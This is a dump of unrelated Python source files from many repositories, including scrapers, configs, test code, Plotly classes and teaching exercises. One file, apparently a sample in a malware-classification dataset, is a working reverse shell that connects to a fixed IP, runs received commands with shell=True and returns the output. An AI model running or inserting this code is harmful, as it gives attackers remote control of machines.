PartisanX/fastapi-async-db
c72a4ca25a885e9feb6a95d63d5c9b592a030131
b2971a9155eb7791ea45513b98d465a68c38224b
refs/heads/master
2023-05-25T14:45:36.743778
2021-06-06T20:32:13
2021-06-06T20:32:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
279
py
import pytest from httpx import AsyncClient pytestmark = pytest.mark.asyncio async def test_hello(async_client: AsyncClient) -> None: response = await async_client.get("/api/v1/hello") assert response.status_code == 200 assert response.content.decode() == '"OK"'
[ "rivinek@gmail.com" ]
rivinek@gmail.com
a30bc216238be67543529a6206d22069b0c56977
fbcac9ff8664e857e1f7d5409b170a23f432763f
/config.py
159c37944fe3627a3efba156a0887dbdef12ff83
[]
no_license
claraj/iss_slack_bot
289d4af3cf108e888db3170048d7aa491984f759
8e36e81d8d571dfceb7e40ede44ca720fc699e50
refs/heads/master
2021-09-06T08:59:07.966377
2018-02-04T17:01:53
2018-02-04T17:01:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
643
py
import secrets # Delay before retry if ISS API is down, or other error fetching data # If ISS API returns no results, wait this many minutes before trying again iss_api_retry_delay_minutes = 60 ## ISS # How far in the future a pass time has to be, to considered to be a new pass min_seconds_in_future = 60 * 10 # La...
[ "clara@clara.com" ]
clara@clara.com
5eaece881f1fddc037e42ecfd5dfd62afef83b5f
0838a35a04363d782e9670477f4557811f291c1c
/cdmaUpfit.py
196766ea8e4ece046d440dd8f44428ebc911cb22
[]
no_license
tianhaomin/detect-spectrum
8e38f8a9a3c190033352bb334d89e9676fee0ac7
45a481b11615b235ee0ed5bcf6aab48b63446858
refs/heads/master
2021-05-11T14:10:30.053097
2018-01-16T15:13:54
2018-01-16T15:13:54
117,696,684
0
0
null
null
null
null
UTF-8
Python
false
false
1,064
py
# -*- coding: utf-8 -*- """ Created on Mon Apr 24 20:59:22 2017 @author: Administrator """ #最小二乘拟合不好 import numpy as np import pandas import matplotlib.pyplot as plt import os import seaborn z = [] cdmaUpD = pandas.DataFrame() a = os.listdir("F:/project/spectrum-data") for i in range(len(a)): df ...
[ "noreply@github.com" ]
tianhaomin.noreply@github.com
f8b00c2ae6ffbd519e91888e6b1f469bc3c642aa
c08ceae13637956ec976ad8a68a6bdbcc53cfced
/visualise.py
eb33ba9f75fb155cfc4b76e936a953ea71f03c51
[]
no_license
abulka/hugo-layout-visualiser
87e34039b89acfbf9379414eaae418123ffb3c23
b7734f787952f95f1a4c3b80b2010e41cfb85e1f
refs/heads/master
2022-12-22T22:56:11.927487
2020-09-26T00:18:02
2020-09-26T00:18:02
298,232,881
0
0
null
null
null
null
UTF-8
Python
false
false
2,192
py
import glob import os from process_dir import processDir from process_partial import processPartial from settings import THEME_PATH, debug, buildDirStructure, scanForPartials from stats import Stats from theme import Theme import styles def scan(themeName, themePath=THEME_PATH): """Main entry point, scans the `t...
[ "abulka@gmail.com" ]
abulka@gmail.com
f7f61ba99c70cc1d4877345ac1c1ee53a3d47202
87627efc35ede4b6ec9cdc3aefc326a97b2b4b27
/bin/load_to_mongodb.py
671e72149c40b9152cec12d3da1cb4aeefd61f4d
[ "Apache-2.0" ]
permissive
szabgab/codeandtalk.com
d3f6cd49453f831a077318f5d2b126cee029c5e9
bc2a1c1223bbe9e5c84d252c86d7e6266191a2f7
refs/heads/main
2023-09-01T08:57:52.728217
2023-08-31T08:23:32
2023-08-31T08:23:32
71,823,631
69
181
Apache-2.0
2023-08-31T08:23:33
2016-10-24T19:17:47
HTML
UTF-8
Python
false
false
505
py
from pymongo import MongoClient import pymongo import sys import os import json import glob # Go over all the data directory and load each file into MongoDB dbname = 'cat' client = MongoClient() db = client[dbname] root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # print(root) data_dir = os.path.jo...
[ "gabor@szabgab.com" ]
gabor@szabgab.com
e8f5c61ab33ea674b400c1b6bc41084afe551bab
bff679cceb174a0784a65d2d6542c714723e6a24
/eemeter/config/yaml_parser.py
fada4655e9eb56457250971cdff8a641fb6247dc
[ "MIT" ]
permissive
cmiller8/eemeter
cdf3709c05bff63eda8272049fead8e6f41900be
5f0e88f2d78ec027fad7f41b8f368eb8b00fadef
refs/heads/master
2020-12-31T01:35:52.935221
2015-06-23T23:00:13
2015-06-23T23:00:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,485
py
import yaml from collections import namedtuple is_initialized = False BaseProxy = namedtuple('BaseProxy', ['callable', 'keywords', 'yaml_src']) class Proxy(BaseProxy): __slots__ = [] def __hash__(self): """Return a hash based on the object ID (to avoid hashing unhashable namedtuple elements...
[ "ngo.phil@gmail.com" ]
ngo.phil@gmail.com
5a5c92ed4de6abfa88e3ae9f1520953edab3ba6d
f7f670099a2765af1aefef024278f65cc9f53261
/chapter_6/tuple.py
b4e1acdab89200d5d8bd51bc645da03f3a174c11
[]
no_license
KelvienLee/Python-learnning
f35ae3712feceea362736ad77571e91b1c8980dc
39f3b87694b1b9c1502a8b1cef61fbafbb259228
refs/heads/main
2023-03-23T17:36:20.058443
2021-03-22T22:56:40
2021-03-22T22:56:40
350,511,762
0
0
null
null
null
null
UTF-8
Python
false
false
1,461
py
# 创建元组 tuple_val = (1, 'hello', [1, 2, 31], (4, 65, 757, 67)) empty_tuple = tuple() # 这样创建只有一个元素的元组会变成对应类型 tuple_0 = ('hello') print(type(tuple_0)) tuple_1 = (1) print(type(tuple_1)) # 如果需要将只有一个元素的“元组”转换为元组,需要在其后面添加一个逗号 , tuple_0 = ('hello',) print(type(tuple_0)) tuple_1 = (1,) print(type(tuple_1)) ...
[ "lixingqiang06@gmail.com" ]
lixingqiang06@gmail.com
e64ef41057b3a7d51608e0c4a5cc81f028dec5bc
62b8ad2d98e2b8ba9eb9d3f6d6c28e8066af1bf6
/pypykatz/dpapi/constants.py
4f4cdd2efc5ec49d7854f73ef8e4d95eeaf6024a
[ "MIT" ]
permissive
s1ntaxe770r/pypykatz
560698425ddeda2906c54f100e11bf5613c62e61
15f4cde7c9ac41a56202147d16d5bff3581649ae
refs/heads/master
2023-03-22T16:29:11.538561
2021-03-14T23:55:19
2021-03-14T23:55:19
347,998,355
1
0
MIT
2021-03-15T14:19:12
2021-03-15T14:19:11
null
UTF-8
Python
false
false
8,113
py
import enum # https://eljay.github.io/directx-sys/winapi/wincrypt/index.html # https://doxygen.reactos.org/d7/d4a/wincrypt_8h.html # impacket dpapi.py from hashlib import sha1 as SHA1 from hashlib import sha512 as SHA512 from pypykatz.crypto.unified.aes import AES from pypykatz.crypto.unified.des3 import DES3 from py...
[ "info@skelsec.com" ]
info@skelsec.com
19e6200005c19ebcfb02de5bdd69d36e44bf1bb7
0f2043278815dc4dd8e1e0b7b48adc7def7799a0
/src/python/pants/backend/docker/docker_build_context.py
ae7588dd6f91b5fa332a4e6bf474309c999d9a61
[ "Apache-2.0" ]
permissive
patricklaw/pants
ac3cdd391f4c11ef427457425ea12480a0d8aeed
906099f5c0d2f9e6adcac23e030270c64ca519ae
refs/heads/main
2021-11-19T02:24:08.328260
2021-09-26T17:20:32
2021-09-26T17:20:32
350,130,454
0
0
Apache-2.0
2021-03-21T22:01:26
2021-03-21T22:01:25
null
UTF-8
Python
false
false
3,419
py
# Copyright 2021 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). import logging from dataclasses import dataclass from itertools import chain from pants.backend.docker.target_types import DockerImageSources from pants.core.goals.package import BuiltPac...
[ "noreply@github.com" ]
patricklaw.noreply@github.com
b477ec43d52372a6b3011f7de0d3f8f2d181f8f4
aea74a8c1d4ad17eb65b7c70da5342c01fd1a930
/websites_postgres/scraper_watchzone.py
2531c987affff13bc17d64f268123cbfaa3875a8
[]
no_license
savusebastian/angular_project
4e6d8b398e17ca91842d7579d8f4da8650e7a13a
9c28c25e4b9875abf346f7e9a7e8baa34bc3f9ee
refs/heads/main
2023-04-17T07:03:32.016850
2021-05-09T09:07:55
2021-05-09T09:07:55
365,710,891
0
0
null
null
null
null
UTF-8
Python
false
false
2,288
py
from bs4 import BeautifulSoup import psycopg2 import requests def watchzone_DB(): con = psycopg2.connect( host='localhost', database='postgres', user='postgres', password='winding1127!' ) cur = con.cursor() URL = 'https://www.watchzone.ro/home/1529-curea-ceas-neagra-cusatura-alba-handmade-piele-naturala...
[ "savusebastianf@gmail.com" ]
savusebastianf@gmail.com
7d44db6bc25df813a2b7bf80427ff15968edbad0
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad966.py
d2aedd9555c0632adc04ffb946a9197f25b36d92
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
310
py
import subprocess import zipfile import socket import threading import hashlib s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
d3b2a11861e9831fb85ddb93507bcd1ebaea654f
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02730/s316000135.py
998d1cb6a4ccb097a13f78d650afff85132f9ffb
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
268
py
def resolve(): s = input() if s == s[::-1]: s_1 = s[:len(s)//2] s_2 = s[(len(s)+1)//2:] if (s_1 == s_1[::-1]) and (s_2 == s_2[::-1]): print('Yes') else: print('No') else: print('No') resolve()
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
5d5e6c70e86fa4f2932e2c0e99eff7729c6f6216
14f176bf1bb40b92a57e24d862eb34de4043036b
/nekbot/services/tg/type/user.py
4844e738120ba0f88ab97c39cc81ed57c2665461
[]
no_license
Nekmo/nekbot
0e15c76ffb626d80bf6b7620a967f77fff0884e5
e9287bca3f9d7b5448dc4d0cba5ef36893a9f2c0
refs/heads/master
2021-01-02T23:11:43.394247
2017-08-12T00:44:08
2017-08-12T00:44:08
99,489,666
2
0
null
null
null
null
UTF-8
Python
false
false
177
py
from nekbot.type.user import User class TelegramUser(User): def get_id(self): raise NotImplementedError def get_name(self): raise NotImplementedError
[ "contacto@nekmo.com" ]
contacto@nekmo.com
4dd3fefc5812a7c0c1bc6fbf1ea0649c33c7cff3
55c250525bd7198ac905b1f2f86d16a44f73e03a
/Python/Flask/Book_evaluator/venv/Lib/site-packages/cs50/sql.py
8b222b3457451c582e5c2a5bbe6e4a0b98f6c87a
[]
no_license
NateWeiler/Resources
213d18ba86f7cc9d845741b8571b9e2c2c6be916
bd4a8a82a3e83a381c97d19e5df42cbababfc66c
refs/heads/master
2023-09-03T17:50:31.937137
2023-08-28T23:50:57
2023-08-28T23:50:57
267,368,545
2
1
null
2022-09-08T15:20:18
2020-05-27T16:18:17
null
UTF-8
Python
false
false
129
py
version https://git-lfs.github.com/spec/v1 oid sha256:2afa9baab2126ae971ca1c7a617dd2763a7415f80bb74132b307bae38c25a7d1 size 9234
[ "nateweiler84@gmail.com" ]
nateweiler84@gmail.com
2c804108451cfd41d88182d9406d4f8f7672e0e2
a79da24bda658f588fd8e71c7e63f01931c1a694
/bigapple/venv/lib/python3.7/site-packages/plotly/graph_objs/layout/shape/_line.py
27382b715e66bfb177beeda5b3565cabd29a5afa
[]
no_license
replicantdeca/bigapple-insys
60519b486f13e1a3eb18b5ba637e45deaf8e1d8e
5e7328fb94362fbb04a71c2e297bffd83443eebc
refs/heads/master
2020-03-27T12:57:31.894182
2019-12-01T11:25:13
2019-12-01T11:25:13
146,580,916
0
1
null
2018-08-29T10:00:28
2018-08-29T10:00:27
null
UTF-8
Python
false
false
6,629
py
from plotly.basedatatypes import BaseLayoutHierarchyType import copy class Line(BaseLayoutHierarchyType): # color # ----- @property def color(self): """ Sets the line color. The 'color' property is a color and may be specified as: - A hex string (e.g. '#ff0000')...
[ "mgfcrespo@gmail.com" ]
mgfcrespo@gmail.com
f8adb35045c5c0bc6154ad50474a38776ae9fabd
e504bf2a0db30dca9386b48b4beccebcd280e4a1
/BlikCloudFramework/blik/management/core/system_api.py
26969080150cf0115e2a35f134c4318998411f07
[]
no_license
fabregas/old_projects
264dbf8dcff3ad9983ec2e10b0fa1c4f5ca3f1a8
e6bc6eb747e39dcacf5f3fd0738d82f16ed0f76d
refs/heads/master
2016-09-05T14:21:49.390943
2014-02-04T15:12:10
2014-02-04T15:12:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,745
py
#!/usr/bin/python """ Copyright (C) 2012 Konstantin Andrusenko See the documentation for further information on copyrights, or contact the author. All Rights Reserved. @package blik.management.core.system_api @author Konstantin Andrusenko @date May 26, 2012 This module contains the SystemAPI class implementat...
[ "kksstt@gmail.com" ]
kksstt@gmail.com
59c98dc4f2a4929863ff3d871d134d18f23bc69a
a884039e1a8b0ab516b80c2186e0e3bad28d5147
/Livros/Introdução à Programação - 500 Algoritmos resolvidos/Capitulo 4/Exercicios 4a/Teste_Primo.py
258ab43c971d5f6e46a79148bdc4d0ac95161357
[ "MIT" ]
permissive
ramonvaleriano/python-
6e744e8bcd58d07f05cd31d42a5092e58091e9f0
ada70918e945e8f2d3b59555e9ccc35cf0178dbd
refs/heads/main
2023-04-10T14:04:24.497256
2021-04-22T18:49:11
2021-04-22T18:49:11
340,360,400
0
0
null
null
null
null
UTF-8
Python
false
false
241
py
# Program: Teste_Primo.py # Author: # Description: # Developed: # Updated: number = int(input("Enter with a number: ")) cont = 0 for e in range(1, number+1): if number%e==0: cont+=1 if cont == 2: print() print(number)
[ "rrvaleriano@gmail.com" ]
rrvaleriano@gmail.com
1d2589485789340b88056027dda0714de048f383
e0045eec29aab56212c00f9293a21eb3b4b9fe53
/sale_timesheet/wizard/__init__.py
b972c563e3be7301a486b53c1db886b3a0c17b54
[]
no_license
tamam001/ALWAFI_P1
a3a9268081b9befc668a5f51c29ce5119434cc21
402ea8687c607fbcb5ba762c2020ebc4ee98e705
refs/heads/master
2020-05-18T08:16:50.583264
2019-04-30T14:43:46
2019-04-30T14:43:46
184,268,686
0
0
null
null
null
null
UTF-8
Python
false
false
221
py
# -*- coding: utf-8 -*- # Part of ALWAFI. See LICENSE file for full copyright and licensing details. from . import project_task_assign_so_line from . import project_create_sale_order from . import project_create_invoice
[ "50145400+gilbertp7@users.noreply.github.com" ]
50145400+gilbertp7@users.noreply.github.com
dbc58c36f51e067b5792e8bba74e4cd68f634ce3
d8aa1e426d1948dd87474c11517cdc4bb6e59c8c
/odps/ml/clustering/tests/test_clustering.py
29c5a9e8e62ec151bf04f4f048567f914132cade
[ "Apache-2.0" ]
permissive
albin3/aliyun-odps-python-sdk
ac39c0f53445356c191e38c98d6e7a66bf6865b6
96ab538a42f2aa171d69c64d70e73603abb2618e
refs/heads/master
2020-06-22T13:37:42.090092
2019-07-19T09:48:21
2019-07-19T09:56:11
197,723,112
1
0
Apache-2.0
2019-07-19T07:21:48
2019-07-19T07:21:46
null
UTF-8
Python
false
false
2,552
py
# encoding: utf-8 # Copyright 1999-2017 Alibaba Group Holding Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
[ "xuye.qin@alibaba-inc.com" ]
xuye.qin@alibaba-inc.com
824ac665eb9743aae15f523ed34bffb43888310e
791b790ce8a4ad93ab88cf9a2aea3b2dd70652dc
/Interviews/Coursera/Software Engineer - University Graduate 2018/Royal Names.py
6df3a727f4c45685c3cb94375b6be50e3d1c9906
[ "MIT" ]
permissive
Debasmita-01/Competitive-Programming
16d8778db5ff225519404e88afa4cccf830006b7
547859d6ded88a0d3977c2f6e747d80235c054cd
refs/heads/master
2022-12-25T11:14:55.129524
2020-10-01T05:22:01
2020-10-01T05:22:01
300,511,195
3
1
MIT
2020-10-02T06:06:30
2020-10-02T05:32:52
null
UTF-8
Python
false
false
600
py
# Complete the function below. def getSortedList(names): names = sorted(names, key=lambda element: (element.split()[0], getNumber(element.split()[1]))) return names def getNumber(num): dp = {} dp['C'] = 100 dp['L'] = 50 dp['X'] = 10 dp['V'] = 5 dp['I'] = 1 ans = 0 prevDigit = 0...
[ "manish.bisht490@gmail.com" ]
manish.bisht490@gmail.com
b6cd95ded91b5a0797a57428311e302a5fb11d19
a8062308fb3bf6c8952257504a50c3e97d801294
/problems/N1339_Maximum_Product_Of_Splitted_Binary_Tree.py
62575977d79131dfadeb0bbdccfa66415c90240c
[]
no_license
wan-catherine/Leetcode
650d697a873ad23c0b64d08ad525bf9fcdb62b1b
238995bd23c8a6c40c6035890e94baa2473d4bbc
refs/heads/master
2023-09-01T00:56:27.677230
2023-08-31T00:49:31
2023-08-31T00:49:31
143,770,000
5
0
null
null
null
null
UTF-8
Python
false
false
1,014
py
from .Utility_Tree import TreeNode class Solution(object): def maxProduct(self, root): """ :type root: TreeNode :rtype: int """ if not root: return 0 self.total = self.get_tree_sum(root) self.res = 0 self.check(root) return self.res...
[ "rarry2012@gmail.com" ]
rarry2012@gmail.com
3852d878520964395974e62a6e8d3b31018153ac
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/verbs/_hooks.py
139269a61eae4e7a20a5825b8424d68a6bf5632c
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
224
py
from xai.brain.wordbase.verbs._hook import _HOOK #calss header class _HOOKS(_HOOK, ): def __init__(self,): _HOOK.__init__(self) self.name = "HOOKS" self.specie = 'verbs' self.basic = "hook" self.jsondata = {}
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
0cf7929da113ffdc5d79ad4288a52d6842ab9e03
4577d8169613b1620d70e3c2f50b6f36e6c46993
/students/1320780/homework04/program01.py
392eac6da8f1b4c1947dffe56e48a478e5fe7f6d
[]
no_license
Fondamenti18/fondamenti-di-programmazione
cbaf31810a17b5bd2afaa430c4bf85d05b597bf0
031ec9761acb1a425fcc4a18b07884b45154516b
refs/heads/master
2020-03-24T03:25:58.222060
2018-08-01T17:52:06
2018-08-01T17:52:06
142,419,241
0
0
null
null
null
null
UTF-8
Python
false
false
2,199
py
import json import copy def getFatherTree(dic): fDic = {} for k in dic: val = dic[k] for vK in val: fDic[vK] = [k] return fDic def loadJson(fnome): with open(fnome, 'r') as fi: dic = json.load(fi) return dic def saveJson(fout, dic): with open(fout, 'w')...
[ "a.sterbini@gmail.com" ]
a.sterbini@gmail.com
2fe7bdef898f49a919f053dcbbfbfb1329b60123
da0c8e14a2979c5e997a2d28c1baed426d30010f
/py3.6/multiprocess/__init__.py
016291f377bff9a2f71952cb405161768919902b
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
JayDeng2837/multiprocess
0bbd0a0197068ddea90a370effcd50ffd43fad4c
56a6aad861563982ef26f04fbb36f2828024a8ec
refs/heads/master
2020-12-02T06:39:59.729043
2017-07-07T00:30:27
2017-07-07T00:30:27
96,874,445
1
0
null
2017-07-11T09:14:15
2017-07-11T09:14:14
null
UTF-8
Python
false
false
952
py
# # Package analogous to 'threading.py' but using processes # # multiprocessing/__init__.py # # This package is intended to duplicate the functionality (and much of # the API) of threading.py but uses processes instead of threads. A # subpackage 'multiprocessing.dummy' has the same API but is a simple # wrapper for 't...
[ "mmckerns@8bfda07e-5b16-0410-ab1d-fd04ec2748df" ]
mmckerns@8bfda07e-5b16-0410-ab1d-fd04ec2748df
3cc5724f79a77a25057c13d669abde59a0f90b1f
4ad14e547695daaf4637c0790c21245a99fb6114
/tubatu_scrapy_project/tubatu_scrapy_project/pipelines.py
c07d927f07e106d49bff241fcccbc6464ed416b9
[]
no_license
gxl2632537/pachong
b8e1c26ef0e13504dc084b8e12975823126dac41
1ec30451e83a66768b4616ed9d736af8ee53deba
refs/heads/master
2022-11-07T02:16:42.549654
2020-06-30T09:47:34
2020-06-30T09:47:34
272,400,120
1
0
null
null
null
null
UTF-8
Python
false
false
3,736
py
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html # 定义Item Pipeline的实现,实现数据的清洗,储存,验证。 # 这里我导入是myql 我不用mogodb from os.path import dirname import pymysql import scrapy from scra...
[ "l" ]
l
d1e3fa0b2a5df02920025b17589dc8fb231726fc
d1ddb9e9e75d42986eba239550364cff3d8f5203
/google-cloud-sdk/lib/surface/iot/registries/describe.py
5a94d6309ca19e63c1ee5c1964fefa7f4eb395e9
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
bopopescu/searchparty
8ecd702af0d610a7ad3a8df9c4d448f76f46c450
afdc2805cb1b77bd5ac9fdd1a76217f4841f0ea6
refs/heads/master
2022-11-19T14:44:55.421926
2017-07-28T14:55:43
2017-07-28T14:55:43
282,495,798
0
0
Apache-2.0
2020-07-25T17:48:53
2020-07-25T17:48:52
null
UTF-8
Python
false
false
1,155
py
# Copyright 2017 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
[ "vinvivo@users.noreply.github.com" ]
vinvivo@users.noreply.github.com
94cf45d8f4b4902f6a436852a9d77af215be5b45
2caf6885511af24443e22aaa43cd679d694f6f80
/note/download_note/first_month/day07/exercise03.py
a53ed8bceaf5ad5fb1166ca9c589a0f0e2a9950a
[]
no_license
nandadao/Python_note
7f9ba54a73af05c935b4f7e24cacb728859a6c69
abddfc2e9a1704c88867cff1898c9251f59d4fb5
refs/heads/master
2020-11-25T18:29:50.607670
2019-12-19T01:28:02
2019-12-19T01:28:02
228,793,207
0
0
null
null
null
null
UTF-8
Python
false
false
824
py
list01 = [ [1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12], [13, 14, 15, 16], ] # 1. 打印二维列表第三行数据(一行一个) for item in list01[2]: print(item) # 2. 打印二维列表第二列数据(一行一个) # print(list01[0][1]) # print(list01[1][1]) # print(list01[2][1]) # print(list01[3][1]) # 0 -- 3 for r in range(len(list01)): print(list01...
[ "1361335953@qq.com" ]
1361335953@qq.com
363202a69ac7f58184b0484055ad6a0303639743
1baea33aa23c6d8202af6bda3569df63cc40740c
/meiduo_mall/meiduo_mall/apps/goods/urls.py
e45c5f3cef6b87013c2fb6ecdd8e57f1fa077ae1
[]
no_license
GitFebruary/meiduo
3ee8a31bd9284a8787c70747f2c38e6c9301b65a
0c0afe11bf475d838d1af3791ca4e145ba71a380
refs/heads/master
2020-04-09T01:27:52.625346
2018-12-01T09:27:38
2018-12-01T09:27:38
159,905,528
0
0
null
2018-12-01T09:33:57
2018-12-01T03:34:44
HTML
UTF-8
Python
false
false
397
py
from django.conf.urls import url from goods import views from rest_framework.routers import DefaultRouter urlpatterns = [ url(r'^categories/(?P<pk>\d+)/$', views.CategroiesView.as_view()), url(r'^categories/(?P<pk>\d+)/skus/$', views.SKUListView.as_view()), ] router=DefaultRouter() router.register('skus/sear...
[ "xwp_fullstack@163.com" ]
xwp_fullstack@163.com
9d9f5b7514312d9efb9498a3888392de3cbc1589
9df2fb0bc59ab44f026b0a2f5ef50c72b2fb2ceb
/sdk/communication/azure-communication-callautomation/azure/communication/callautomation/_generated/aio/_client.py
340ee54e286f7077a92631962b8cf9488a5ccadf
[ "MIT", "LGPL-2.1-or-later", "LicenseRef-scancode-generic-cla" ]
permissive
openapi-env-test/azure-sdk-for-python
b334a2b65eeabcf9b7673879a621abb9be43b0f6
f61090e96094cfd4f43650be1a53425736bd8985
refs/heads/main
2023-08-30T14:22:14.300080
2023-06-08T02:53:04
2023-06-08T02:53:04
222,384,897
1
0
MIT
2023-09-08T08:38:48
2019-11-18T07:09:24
Python
UTF-8
Python
false
false
4,606
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
openapi-env-test.noreply@github.com
4a94ed2c65e84fe0beaaa60b56ba860fe7b85500
e89bf0ff1f31b72ba7d7f03ca628896bb9a6627d
/scripts/api_queries.py
d43b143c6ce54ad248543d7a41d680739415a29e
[ "MIT" ]
permissive
datosgobar/series-tiempo-ar-api
3946ea3bf5652c31594886a00e5579ad8167168d
6b553c573f6e8104f8f3919efe79089b7884280c
refs/heads/master
2021-12-05T19:10:14.959322
2021-11-30T12:25:54
2021-11-30T12:25:54
97,857,863
31
16
MIT
2021-06-10T20:14:22
2017-07-20T16:43:33
Python
UTF-8
Python
false
false
1,800
py
#!/usr/bin/env python # -*- coding: utf-8 -*- """Realiza queries a la API de series de tiempo para testeo.""" from __future__ import unicode_literals from __future__ import print_function from __future__ import with_statement import os import os import sys import pandas as pd import numpy as np import requests from ...
[ "agusbenassi@gmail.com" ]
agusbenassi@gmail.com
0f8e697191f804e3c2ec0cf939224f64d7f08e3c
a6fe8aeaa30a22b65d98a2bb360b6d761a2e17fc
/venv/lib/python2.7/site-packages/kubernetes/client/models/v1beta2_deployment.py
f36ea8ebafbb1487ab54cff683541a865e1dd705
[ "MIT" ]
permissive
784134748/kubernetes-install
54a2a8e83e2f47f2064270649725899282b7b244
5df59632c2619632e422948b667fb68eab9ff5be
refs/heads/master
2022-12-15T13:52:43.486633
2019-03-27T13:01:06
2019-03-27T13:01:06
176,937,818
0
0
MIT
2022-05-25T01:56:18
2019-03-21T12:13:41
Python
UTF-8
Python
false
false
7,093
py
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.12.4 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re...
[ "784134748@qq.com" ]
784134748@qq.com
ef5a87fee87cf678cec1792a9f2e6f84d24962af
b0d7f360dc12f6f48a84395eab3ba66f89ec71f0
/cms/templatetags/escape_tags.py
7cadfd5289a985b8c78566fd6277efd505783dac
[]
no_license
Adham7533/django_fraeen
38dcb3a08d35ba95b0991908e973516e7a120176
e193f020f885a23c4efa6ecbd8ef3b859485929f
refs/heads/main
2023-02-15T05:19:30.849394
2021-01-16T20:16:16
2021-01-16T20:16:16
330,225,713
0
0
null
null
null
null
UTF-8
Python
false
false
195
py
from django.utils.html import strip_tags from django import template register = template.Library() @register.filter(name='escape_tags') def escape_tags(string): return strip_tags(string)
[ "you@example.com" ]
you@example.com